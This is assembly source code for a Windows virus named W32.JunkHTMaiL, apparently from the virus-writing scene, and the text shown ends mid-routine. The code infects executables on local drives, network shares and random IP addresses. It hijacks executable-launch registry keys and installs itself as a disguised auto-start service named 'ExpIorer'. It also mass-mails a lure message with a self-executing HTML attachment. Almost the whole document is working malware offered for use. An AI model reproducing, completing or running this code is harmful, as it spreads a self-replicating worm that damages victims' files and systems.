comment ;)
W32.JunkHTMaiL by roy g biv (thanks to RT Fishel for previous contribution)
some of its features:
- parasitic resident (own process) infector of PE exe (but not looking at suffix)
- infects files in all directories on all fixed and network drives and network shares
- directory traversal is linked-list instead of recursive to reduce stack size
- enumerates shares on local network and also random IP addresses
- reloc section inserter/last section appender
- runs as service in NT/2000/XP and service process in 9x/Me
- hooks all executable shell\open\command values
- slow mailer using polymorphic mail headers and self-executing HTML
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is self-modifying but runs in writable memory)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before W32.EfishNC :)
yes, just a W32.JunkMail remake with a different exploit
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 junkhtml
tlink32 /B:400000 /x junkhtml,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.486
.model flat
extern GlobalAlloc:proc
extern CreateFileA:proc
extern GetFileSize:proc
extern GetModuleFileNameA:proc
extern ReadFile:proc
extern WriteFile:proc
extern CloseHandle:proc
extern GlobalFree:proc
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;to alter the text here, set compress_only to not-zero then run
;in that case, the compressed text is written to a file only
compress_only equ 0
ife compress_only
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
expnames db "WriteFile" , 0
db "WinExec" , 0
db "SetFileAttributesA" , 0
db "MoveFileA" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetWindowsDirectoryA", 0
db "GetTickCount" , 0
db "GetTempFileNameA" , 0
db "GetFileAttributesA" , 0
db "GetCurrentProcess" , 0
db "DeleteFileA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
regnames db "RegSetValueA" , 0
db "OpenSCManagerA" , 0
db "CreateServiceA" , 0
db "CloseServiceHandle", 0
exenames db "LoadLibraryA" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetStartupInfoW", 0
db "GetStartupInfoA", 0
db "GetCommandLineW", 0
db "GetCommandLineA", 0
db "ExitProcess" , 0
db "CreateProcessW" , 0
db "CreateProcessA" , 0
usrnames db "CharNextW", 0
db "CharNextA", 0
svcnames db "StartServiceCtrlDispatcherA", 0
krnnames db "lstrlenW" , 0
db "lstrcpyW" , 0
db "lstrcatW" , 0
db "UnmapViewOfFile" , 0
db "Sleep" , 0
db "SetFileTime" , 0
db "SetFileAttributesW" , 0
db "SetFileAttributesA" , 0
db "SetCurrentDirectoryW" , 0
db "SetCurrentDirectoryA" , 0
db "ReadFile" , 0
db "MultiByteToWideChar" , 0
db "MapViewOfFile" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetModuleFileNameA" , 0
db "GetFullPathNameW" , 0
db "GetFullPathNameA" , 0
db "GetFileSize" , 0
db "GetDriveTypeA" , 0
db "FindNextFileW" , 0
db "FindNextFileA" , 0
db "FindFirstFileW" , 0
db "FindFirstFileA" , 0
db "FindClose" , 0
db "CreateThread" , 0
db "CreateFileW" , 0
db "CreateFileMappingA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
sfcnames db "SfcIsFileProtected", 0
ws2names db "socket" , 0
db "send" , 0
db "gethostbyname", 0
db "connect" , 0
db "WSAStartup" , 0
netnames db "WNetOpenEnumW" , 0
db "WNetOpenEnumA" , 0
db "WNetEnumResourceW", 0
db "WNetEnumResourceA", 0
db "WNetCloseEnum" , 0
ip9xnames db "NetShareEnum", 0
ipntnames db "NetShareEnum" , 0
db "NetApiBufferFree", 0
endif
;only 0dh is required for new line, since 0ah is appended by decompressor
user1 equ ' '
user2 equ '/'
user3 equ ':' ;the three most frequent characters
smtp1 db offset smtp2 - offset $ - 2, "HELO ", 0
smtp2 db offset smtp3 - offset $ - 2, "MAIL FROM:<>", 0dh, 0
smtp3 db offset smtp4 - offset $ - 2, "RCPT TO:", 0
smtp4 db offset header1 - offset $ - 2, "DATA", 0dh, 0
header1 db offset header2 - offset $ - 2, "FROM: ", 0
header2 db offset header31 - offset $ - 2, "SUBJECT: Wanna see a e-mail exploit?", 0
header31 db offset header32 - offset $ - 2, 0dh, "MIME-VERSION:", 0
header32 db offset part11 - offset $ - 2, "1.0", 0
part11 db offset part12 - offset $ - 2, "CONTENT-TYPE:", 0
part12 db offset part13 - offset $ - 2, "MULTIPART/MIXED;", 0
part13 db offset body1 - offset $ - 2, " BOUNDARY=", 0
body1 db offset body2 - offset $ - 1
db 0dh, "Just click the attachment", 0dh
body2 db offset body3 - offset $ - 1
db "If the attachment is blocked by Outlook 2002 then see", 0dh
body3 db offset body4 - offset $ - 1
db "http://support.microsoft.com/support/kb/articles/q290/4/97.asp", 0dh
body4 db 0
part21 db offset part22 - offset $ - 2, "TEXT/PLAIN;", 0
part22 db offset part23 - offset $ - 2, " NAME=EMAIL.HTM", 0
part23 db offset part24 - offset $ - 2, 0dh, "CONTENT-TRANSFER-ENCODING:", 0
part24 db offset part25 - offset $ - 2, "QUOTED-PRINTABLE", 0
part25 db offset part26 - offset $ - 2, 0dh, "CONTENT-DISPOSITION:", 0
part26 db offset part27 - offset $ - 2, "ATTACHMENT", 0
part27 db offset part28 - offset $ - 2, "CONTENT-LOCATION:FILE:///.EXE", 0
part28 db offset part31 - offset $ - 2, "BASE64", 0
;just a bit too long for a single line... unless you remove the "moveBy"...
part31 db offset part32 - offset $ - 1, 0dh, "", 0
part41 db offset part42 - offset $ - 2, ".", 0dh, 0
part42 db offset part43 - offset $ - 2, "QUIT", 0dh, 0
part43 equ $
include junkhtml.inc
txttitle db "JunkHTMaiL", 0
if compress_only
txtbody db "compress done", 0
else
txtbody db "running...", 0
patch_host label near
pop ecx
push ecx
call $ + 5
pop eax
add eax, offset host_patch - offset $ + 6
sub ecx, eax
push ecx
mov eax, esp
xor edi, edi
push edi
push 4
push eax
push offset host_patch + 1
push esi
call WriteProcessMemory
jmp junkhtml_inf
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here in infected files
;-----------------------------------------------------------------------------
junkhtml_inf proc near
pushad
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
expcrcbegin label near ;place < 80h bytes from call for smaller code
dd (expcrc_count + 1) dup (0)
expcrcend label near
dd offset drop_exp - offset expcrcend + 4
db "JunkHTMaiL - roy g biv" ;spam just got harder to remove ;)
walk_seh label near
xor esi, esi
lods dword ptr fs:[esi]
inc eax
seh_loop label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne seh_loop
lods dword ptr [esi]
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expordbase]
lods dword ptr [esi] ;Ordinal Base
lea ebp, dword ptr [eax * 2 + ebx]
lods dword ptr [esi]
lods dword ptr [esi]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
add ebp, dword ptr [esi] ;Ordinal Table RVA
lea ecx, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
dispname label near
db "ExpIorer", 0
explabel label near
db "ExpIorer.exe", 0
expsize equ 0d4h
;RLE-based compressed MZ header, PE header, import table, section table
;execution continues immediately after compressed data. be careful ;)
dd 11111111110000011100001011100000b
; mmmmmmmmmmz 01mmz 02mmm
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
dd 00000110000111100001001010010000b
; z 01mz 03mmz 02r 04m
db 2, 2ch, 10h, 88h
dd 00000111110100100001001000111110b
; z 01mmmmr 02z 04mz 07mm
db 0fh, 3, 0bh, 1, 56h, (offset junkhtml_exe - offset junkhtml_inf + expsize) and 0ffh, ((junkhtml_exe - offset junkhtml_inf + expsize + 1000h) shr 8) and 0ffh
dd 00001001010010001011000010100001b
; z 02r 04mz 05mz 02mz 02
db 0ch, 40h, 10h
dd 00000110000101010111100001111100b
; z 01mz 02mr 07mz 03mmm
db 2, 1, 4, "Arc"
dd 00001010000101000111100000101001b
; z 02mz 03mz 07mz 01r 02
db ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1fffh) and not 0fffh) shr 8, expsize, 2
dd 10000111000011100001110000110101b
; mz 03mz 03mz 03mz 03r 04
db 1, 1, 1, 1
dd 10001110101001100101001111001111b
; mz 07r 04mmz 0ar 0er 0e
db 2, 8, 10h
dd 00010110000111000010100001101100b
; z 05mz 03mz 02mz 03r 08
db 10h, ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh) and not 1ffh) shr 8, 1
dd 00011110000000000000000000000000b
; z 07m
db 0e0h
dd 0
;decompressed data follow. 'X' bytes are set to random value every time
; db 'M', 'Z' ;00
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
; dw 14ch ;10 04 machine (overload for forwarder chain)
; dw 1 ;12 06 number of sections (overload for forwarder chain)
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
; db X, X, X, X ;1c 10 number of symbols
; dw 88h ;20 14 size of optional header
; dw 30fh ;22 16 characteristics
; dw 10bh ;24 18 magic
; db X ;26 1a major linker
; db X ;27 1b minor linker
; dd 0 ;28 1c size of code (overload for import table terminator)
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
; dd offset junkhtml_exe - offset junkhtml_inf + expsize + 1000h
; ;34 28 entry point
; db X, X, X, X ;38 2c base of code
; dd 0ch ;3c 30 base of data (overload for lfanew)
; dd 400000h ;40 34 image base
; dd 1000h ;44 38 section align
; dd 200h ;48 3c file align
; db 1, X ;4c 40 major os
; db X, X ;4e 42 minor os
; db X, X ;50 44 major image
; db X, X ;52 46 minor image
; dw 4 ;54 48 major subsys
; dw 0 ;56 4a minor subsys (overload for import name table)
; db "Arc", 0 ;58 4c reserved (overload for import name table)
; dd (aligned size of code) ;5c 50 size of image
; dd expsize ;60 54 size of headers
; dd 0 ;64 58 checksum
; dw 2 ;68 5c subsystem
; db X, X ;6a 5e dll characteristics
; dd 1 ;6c 60 size of stack reserve
; dd 1 ;70 64 size of stack commit
; dd 1 ;74 68 size of heap reserve
; dd 1 ;78 6c size of heap commit
; db X, X, X, X ;7c 70 loader flags
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
; dd 0 ;84 78 export
; db X, X, X, X ;88 7c export
; dd 1008h ;8c 80 import
; dd 0 ;90 84 import
; dd 0 ;94 88 resource
; db X, X, X, X ;98 8c resource
; db X, X, X, X, X, X, X, X ;9c 90 exception
; db X, X, X, X, X, X, X, X ;a4 98 certificate
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
; dd 0 ;b4 a8 debug (overload for virtual size)
; dd 1000h ;b8 ac debug (overload for virtual address)
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
; dd 1 ;c0 b4 architecture (overload for file offset)
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
; dd 0e0000000h ;d0 c4 tls (overload for section characteristics)
; ;d4
drop_exp label near
mov ebx, esp
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
mov edi, offset junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh
;file size must be > end of last section
push edi
xor ebp, ebp ;GMEM_FIXED
push ebp
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
push eax ;GlobalFree
push ebp ;WriteFile
push esp ;WriteFile
push edi ;WriteFile
push ebp ;CreateFileA
push FILE_ATTRIBUTE_HIDDEN ;CreateFileA
push CREATE_ALWAYS ;CreateFileA
push ebp ;CreateFileA
push ebp ;CreateFileA
push GENERIC_WRITE ;CreateFileA
push eax ;CreateFileA
lea ecx, dword ptr [eax + 7fh]
push ecx ;MoveFileA
push eax ;MoveFileA
push eax ;GetFileAttributesA
push ebp ;SetFileAttributesA
push eax ;SetFileAttributesA
push ecx ;DeleteFileA
push ecx ;GetTempFileNameA
push ebp ;GetTempFileNameA
push esp ;GetTempFileNameA
push eax ;GetTempFileNameA
push edi ;GetWindowsDirectoryA
push eax ;GetWindowsDirectoryA
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
lea edi, dword ptr [ebp + eax - 1]
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
call dword ptr [ebx + expcrcstk.pDeleteFileA]
mov al, '\'
scas byte ptr [edi]
je skip_slash
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;append exe name, assumes name is 0dh bytes long
;-----------------------------------------------------------------------------
skip_slash label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi]
;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
test al, FILE_ATTRIBUTE_DIRECTORY
pop ecx
pop eax
je skip_move
push eax
push ecx
call dword ptr [ebx + expcrcstk.pMoveFileA]
skip_move label near
call dword ptr [ebx + expcrcstk.pCreateFileA]
push edi ;WriteFile
push ebx
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetTickCount]
xchg ebx, eax
xor ecx, ecx
;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------
lods dword ptr [esi]
copy_bytes label near
movs byte ptr [edi], byte ptr [esi]
test_bits label near
add eax, eax
jb copy_bytes
add eax, eax
sbb dl, dl
shld ecx, eax, 4
shl eax, 4
xchg edx, eax
rep stos byte ptr [edi]
xchg edx, eax
jne test_bits
lods dword ptr [esi]
test eax, eax
jne test_bits
mov cx, offset mail_recip - offset junkhtml_inf
sub esi, offset drop_exp - offset junkhtml_inf
rep movs byte ptr [edi], byte ptr [esi]
mov al, "'"
stos byte ptr [edi]
pop ebx
push ebp
call dword ptr [ebx + expcrcstk.pWriteFile]
push ebp
call dword ptr [ebx + expcrcstk.pCloseHandle]
pop eax
push eax
inc ebp
je load_regdll ;allow only 1 copy to run
push 0
push eax
call dword ptr [ebx + expcrcstk.pWinExec]
load_regdll label near
sub esi, offset mail_recip - offset regdll
push esi
call dword ptr [ebx + expcrcstk.pLoadLibraryA]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
regcrcbegin label near ;place < 80h bytes from call for smaller code
dd (regcrc_count + 1) dup (0)
regcrcend label near
dd offset reg_file - offset regcrcend + 4
regval db 'ExpIorer "%1" %*', 0
regkey db "\com" ;no regedit.com ;)
db "\exe" ;must be 4 bytes long
db "\pif" ;hook all executable suffix (except .scr which passes /S)
reg_file label near ;must follow immediately
mov ebx, esp
mov ecx, HKEY_LOCAL_MACHINE ;can obfuscate and same size if push 5+pop ecx+ror ecx, 1
;-----------------------------------------------------------------------------
;alter Software\Classes in Local Machine and Current User
;because in Windows 2000/XP, Current User values override Local Machine values
;-----------------------------------------------------------------------------
reg_loopouter label near
lea ebp, dword ptr [edi + offset regval - offset reg_file]
sub edi, offset reg_file - offset regkey
push (offset reg_file - offset regkey) shr 2
pop esi
reg_loopinner label near
push ecx
push "dna"
push "mmoc"
push "\nep"
push "o\ll"
push "ehs\"
push "elif"
push dword ptr [edi] ;comfile, exefile, piffile
push "sess"
push "alc\"
push "eraw"
push "tfos" ;obfuscated ;)
mov eax, esp
push offset regkey - offset regval
push ebp
push REG_SZ
push eax
push ecx
call dword ptr [ebx + regcrcstk.rRegSetValueA]
;RegSetValue creates keys
add esp, 2ch ;size software\classes\???file\shell\open\command
scas dword ptr [edi]
pop ecx
dec esi
jne reg_loopinner
loopw reg_loopouter ;decrements CX only
;-----------------------------------------------------------------------------
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
;no start service because code is running already
;-----------------------------------------------------------------------------
push SC_MANAGER_CREATE_SERVICE
push esi
push esi
call dword ptr [ebx + regcrcstk.rOpenSCManagerA]
mov ecx, dword ptr [ebx + size regcrcstk]
push ecx
push eax
push esi
push esi
push esi
push esi
push esi
push ecx
push esi ;SERVICE_ERROR_IGNORE
push SERVICE_AUTO_START
push SERVICE_WIN32_OWN_PROCESS
push esi
sub edi, offset reg_file - offset dispname
push edi
add edi, offset explabel - offset dispname
push edi
push eax
call dword ptr [ebx + regcrcstk.rCreateServiceA]
push eax
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
popad
host_patch label near
db 0e9h, 'rgb!'
;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------
junkhtml_exe label near
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
execrcbegin label near ;place < 80h bytes from call for smaller code
dd (execrc_count + 1) dup (0)
execrcend label near
dd offset load_user32 - offset execrcend + 4
load_user32 label near
call skip_user32
db "user32", 0
skip_user32 label near
call dword ptr [esp + execrcstk.eLoadLibraryA + 4]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
usrcrcbegin label near ;place < 80h bytes from call for smaller code
dd (usrcrc_count + 1) dup (0)
usrcrcend label near
dd offset get_cmdline - offset usrcrcend + 4
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_cmdline label near
mov ebx, esp
call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
shr eax, 1fh
lea esi, dword ptr [eax * 4 + ebx]
;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------
mov ecx, dword ptr fs:[tib.TibTeb]
or byte ptr [ecx + teb.procflags + 1], al
;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------
dec ax
mov al, 0ffh
xchg edi, eax ;ffff if Unicode, 00ff if ANSI
mov eax, dword ptr [esi + usrcrcstk.uCharNextW]
mov dword ptr ds:[offset store_charnext - offset junkhtml_inf + expsize + 401001h], eax
call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]
stack_delta label near
mov ebp, dword ptr [eax]
and ebp, edi
cmp ebp, '"' ;Unicode-compatible compare
je skip_argv0
push ' '
pop ebp
skip_argv0 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
je argv1_skip
cmp ecx, ebp
jne skip_argv0
find_argv1 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
cmp ecx, ' ' ;Unicode-compatible compare
je find_argv1
argv1_skip label near
;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------
jecxz stack_copy
sub esp, size processinfo
mov edx, esp
sub esp, size startupinfo
mov ecx, esp
push edx
push ecx
xor edx, edx
push edx
push edx
push edx
push edx
push edx
push edx
push eax
push edx
push ecx
call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]
;-----------------------------------------------------------------------------
;allocate stack space for RNG cache
;-----------------------------------------------------------------------------
stack_copy label near
mov ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
call ebx ;RNG seed
enter (statelen + 1) shl 2, 0 ;RNG cache
mov edi, esp
call randinit
mov edi, ebx
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset swap_create - offset krncrcend + 4
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
swap_create label near
mov dword ptr ds:[offset store_krnapi - offset junkhtml_inf + expsize + 401003h], esp
mov ebx, esp
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
load_sfc label near
call cLoadLibraryA
test eax, eax
jne found_sfc
push 'cfs' ;Windows Me/2000
push esp
call cLoadLibraryA
pop ecx
test eax, eax
je sfcapi_esp
found_sfc label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near ;place < 80h bytes from call for smaller code
dd (sfccrc_count + 1) dup (0)
sfccrcend label near
dd offset sfcapi_pop - offset sfccrcend + 4
sfcapi_pop label near
pop eax
sfcapi_esp label near
mov dword ptr ds:[offset store_sfcapi - offset junkhtml_inf + expsize + 401001h], eax
;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------
push 'rpm'
push esp
call cLoadLibraryA
pop ecx
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
netcrcbegin label near ;place < 80h bytes from call for smaller code
dd (netcrc_count + 1) dup (0)
netcrcend label near
dd offset netapi_esp - offset netcrcend + 4
netapi_esp label near
mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax
;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------
call cGetVersion
shr eax, 1fh
jne svc_main ;no service if 9x/Me
push eax
push eax
mov eax, offset regdll - offset junkhtml_inf + expsize + 401000h
push eax
call cLoadLibraryA
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
svccrcbegin label near ;place < 80h bytes from call for smaller code
dd (svccrc_count + 1) dup (0)
svccrcend label near
dd offset start_disp - offset svccrcend + 4
start_disp label near
pop eax
mov ecx, esp
add edi, offset svc_main - offset start_disp
push edi
push ecx
push esp
call eax ;does not return if service launch
add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch
svc_main label near
push eax
push esp
xor esi, esi
push esi
push esi
call create_thr1
;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------
find_drives proc near
mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
drive_loop label near
push eax
push esp
push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
sub al, DRIVE_FIXED
je drive_set
xchg ecx, eax
loop drive_next ;loop if not DRIVE_REMOTE
drive_set label near
push esp
call cSetCurrentDirectoryA
call find_files
drive_next label near
pop eax
inc eax
cmp al, 'Z' + 1
jne drive_loop
push 60 * 60 * 1000 ;1 hour
call cSleep
jmp find_drives
find_drives endp
create_thr1 label near
push esi
push esi
call cCreateThread
push esp
push esi
push esi
call create_thr2
;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------
call get_krnapis
find_wnet proc near
xor ebx, ebx ;previous handle
xor esi, esi ;previous node
xor edi, edi ;previous buffer
wnet_open label near
push eax
push esp
push edi
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
push eax
push edi
call cGlobalFree
pop ecx
pop edi
inc ecx
loop wnet_next
push size wnetlist
push ecx ;GMEM_FIXED
call cGlobalAlloc
mov dword ptr [eax + wnetlist.wnetprev], esi
mov dword ptr [eax + wnetlist.wnethand], ebx
xchg esi, eax
mov ebx, edi
wnet_next label near
push 1
mov eax, esp
push eax
push esp
push eax
push ebx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop edi
sub al, ERROR_MORE_DATA
jne wnet_close
push edi
push eax ;GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz wnet_close
push edi
mov eax, esp
push 1
mov edx, esp
push eax
push ecx
push edx
push ebx
mov edi, ecx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop ecx
pop ecx
test eax, eax
jne wnet_free
test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER
jne wnet_open
push dword ptr [edi + NETRESOURCE.lpRemoteName]
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz wnet_skipdir
;I'm alone here
;with emptiness eagles and snow.
;Unfriendliness chilling my body
;and taunting with pictures of home.
;(Deep Purple)
call find_files
wnet_skipdir label near
xor eax, eax
wnet_free label near
push eax
push edi
call cGlobalFree
pop ecx
jecxz wnet_next
wnet_close label near
push ebx
store_netapi label near
mov eax, '!bgr'
call eax ;WNetCloseEnum
mov ecx, dword ptr [esi + wnetlist.wnetprev]
jecxz wnet_exit
mov ebx, dword ptr [esi + wnetlist.wnethand]
push esi
mov esi, ecx
call cGlobalFree
jmp wnet_next
wnet_exit label near
push 120 * 60 * 1000 ;2 hours
call cSleep
jmp find_wnet
find_wnet endp
create_thr2 label near
push esi
push esi
call cCreateThread
push esp
push esi
push esi
call create_thr3
;-----------------------------------------------------------------------------
;thread 3: find files on random IP address shares using non-recursive algorithm
;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all)
;-----------------------------------------------------------------------------
call cGetVersion
test eax, eax
mov eax, 'aten'
mov ecx, '23ip' ;"netapi32" (NT/2000/XP)
jns ip_loaddll
mov eax, 'arvs'
movzx ecx, cx ;"svrapi" (9x/Me)
ip_loaddll label near
pushfd
push 0
push ecx
push eax
push esp
call cLoadLibraryA
add esp, 0ch
popfd
jns ip_getprocnt
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ip9xcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ip9xcrc_count + 1) dup (0)
ip9xcrcend label near
dd offset ip_share - offset ip9xcrcend + 4
ip_getprocnt label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ipntcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ipntcrc_count + 1) dup (0)
ipntcrcend label near
dd offset ip_share - offset ipntcrcend + 4
ip_share label near
call random
xchg ebp, eax ;initial IP address
find_ip proc near
call random
and al, 18h
je find_ip ;select class A-C only
xchg ecx, eax
xor eax, eax
mov al, 0ffh
shl eax, cl ;select random class
and ecx, eax ;isolate new class
not eax
and ebx, eax ;remove old class
or ebx, ecx ;insert new class
ip_save label near
push ebx
bswap ebx
enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename
lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename
call cGetVersion
shr eax, 1fh ;0 if Unicode, 1 if ANSI
xchg esi, eax
xor al, al
mov cl, 0ah
std
stos byte ptr [edi]
mov edx, edi
stos byte ptr [edi] ;store Unicode sentinel
